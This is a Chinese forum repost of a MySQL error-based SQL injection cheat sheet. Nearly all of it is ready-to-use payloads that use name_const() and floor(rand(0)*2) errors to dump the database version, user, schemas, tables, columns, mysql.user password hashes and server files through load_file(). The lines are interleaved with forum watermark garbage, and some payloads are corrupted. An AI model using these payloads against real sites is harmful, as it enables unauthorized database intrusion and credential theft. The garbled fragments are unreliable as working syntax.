Mysql暴错注入参考（pdf）

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本帖最后由 Nightmare 于 2013-3-17 14:20 编辑

8 P2 W) ?& [" t% q4 ?
Mysql暴错注入参考（pdf），每天一贴。。。

2 z6 [4 k+ J. X& D0 B$ IMySql Error Based Injection Reference
[Mysql暴错注入参考]
; g& D( S3 F3 lAuthornig0s1992
Blog:http://pnig0s1992.blog.51cto.com/
TeAm:http://www.FreeBuf.com/
Mysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功
小部分版本使用name_const()时会报错.可以用给出的Method.2测试
4 ]+ _  M0 U, x- j0 v" c查询版本:
Method.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+
join+(select+name_const(@@version,0))b)c)
& V* x9 [3 o) h% s/ W4 FMethod.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro
up by a)b)
查询当前用户:
0 b5 g" B" C# a; H3 Z( rMethod.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)
Method.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r
and(0)*2))x+from+information_schema.tables+group+by+x)a)
查询当前数据库:
Method.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)
) ^3 N% J, j* ^9 H: _. sMethod.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo
or(rand(0)*2))x+from+information_schema.tables+group+by+x)a)
$ H. Y. N9 f6 _. D% O" f依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+
: P1 K, A9 q3 o+ tLIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n
$ T) p8 m9 T+ N. M& Z顺序替换
% U; I3 \3 T) I: I0 C, Q5 P7 t爆指定库数目:
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t
- J& i! T" y- @" h' @1 Uable_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group
/ }% g  N9 h. j/ H  Q' w; Y) Y+by+x)a)+and+1=1 0x6D7973716C=mysql
5 X  ~) l, S% l: N! b依次爆表:
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t
9 R. k# G# {4 G6 Z7 D+ N0 o& Bable_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta
bles+group+by+x)a)+and+1=1
% D/ Q4 _" x' u/ X$ C0x6D7973716C=Mysql 将n顺序替换
爆表内字段数目:
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE
3 J: x& o; v9 ^* L1 c1 F+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran
! t& w. ~! t: z' e) ~  S' o0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
依次爆字段:
1 Y: h2 d& h3 `7 Kand+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1
loor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1  将n顺序替换
( b/ U; Y. @- m5 r+ J依次暴内容:
and+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche
: D0 `* }2 _( v/ D" B) ema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
将n顺序替换
爆文件内容:
and+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a
from+information_schema.tables+group+by+a)b)
0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节
Thx for reading.

不要下载也可以，